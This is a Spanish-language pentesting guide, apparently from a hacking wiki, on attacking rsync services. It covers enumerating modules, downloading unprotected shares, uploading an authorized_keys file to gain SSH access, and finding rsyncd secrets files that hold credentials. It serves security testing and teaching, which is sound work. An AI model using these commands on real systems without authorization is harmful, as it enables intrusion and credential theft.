4.1 KiB
Información Básica
rsync es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo, y entre computadoras en red comparando los tiempos de modificación y los tamaños de los archivos. Se encuentra comúnmente en sistemas operativos similares a Unix. El algoritmo de rsync es un tipo de codificación delta y se utiliza para minimizar el uso de la red. Zlib se puede utilizar para compresión de datos adicional, y SSH o stunnel se pueden utilizar para seguridad.
De wikipedia.
Puerto predeterminado: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeración
Banner y comunicación manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerar carpetas compartidas
Un módulo de rsync es esencialmente una carpeta compartida. Estos módulos pueden estar protegidos opcionalmente por una contraseña. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Ten en cuenta que se podría configurar un nombre compartido para que no se liste. Así que podría haber algo oculto.
Ten en cuenta que puede haber algunos nombres compartidos que se enumeran donde se necesitan algunas (diferentes) credenciales para acceder. Así que no siempre todos los nombres listados van a ser accesibles y lo notarás si recibes un mensaje de "Acceso denegado" al intentar acceder a algunos de ellos.
Fuerza bruta
Rsync manual
Una vez que tienes la lista de módulos, tienes algunas opciones diferentes dependiendo de las acciones que quieras tomar y si se requiere autenticación o no. Si no se requiere autenticación, puedes enumerar una carpeta compartida:
rsync -av --list-only rsync://192.168.0.123/shared_name
Y copiar todos los archivos a tu máquina local mediante el siguiente comando:
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Esto transfiere recursivamente todos los archivos del directorio <shared_name>
en la máquina <IP>
al directorio ./rsync_shared
en la máquina local. Los archivos se transfieren en modo "archivo", lo que garantiza que los enlaces simbólicos, dispositivos, atributos, permisos, propietarios, etc. se conserven en la transferencia.
Si tienes credenciales, puedes listar/descargar un nombre compartido usando (se solicitará la contraseña):
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
También se puede subir contenido utilizando rsync (por ejemplo, en este caso podemos subir un archivo authorized_keys para obtener acceso a la caja):
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Encuentra el archivo de configuración de rsyncd:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro del archivo de configuración a veces se puede encontrar el parámetro secrets file = /path/to/file y este archivo puede contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.